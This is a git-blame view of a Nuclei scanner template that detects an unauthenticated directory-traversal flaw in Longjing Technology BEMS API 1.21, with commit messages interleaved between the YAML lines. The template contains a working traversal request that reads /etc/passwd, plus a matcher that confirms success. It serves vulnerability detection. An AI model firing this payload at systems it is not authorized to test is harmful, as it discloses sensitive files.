daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/vulnerabilities/other/bems-api-lfi.yaml

33 lines
1.0 KiB
YAML
Raw Normal View History

Update and rename longjing-technology-bems-api-lfi.yaml to bems-api-lfi.yaml
2021-08-03 14:25:25 +00:00
id: bems-api-lfi
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
info:
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
name: Longjing Technology BEMS API 1.21 - Local File Inclusion
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
author: gy741
severity: high
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
- https://packetstormsecurity.com/files/163702/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
Update and rename longjing-technology-bems-api-lfi.yaml to bems-api-lfi.yaml
2021-08-03 14:25:25 +00:00
tags: lfi
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
Updated "/etc/passwd" regex to avoid possible false positive results.
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
- type: status
status:
- 200
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
# Enhanced by mp on 2022/07/22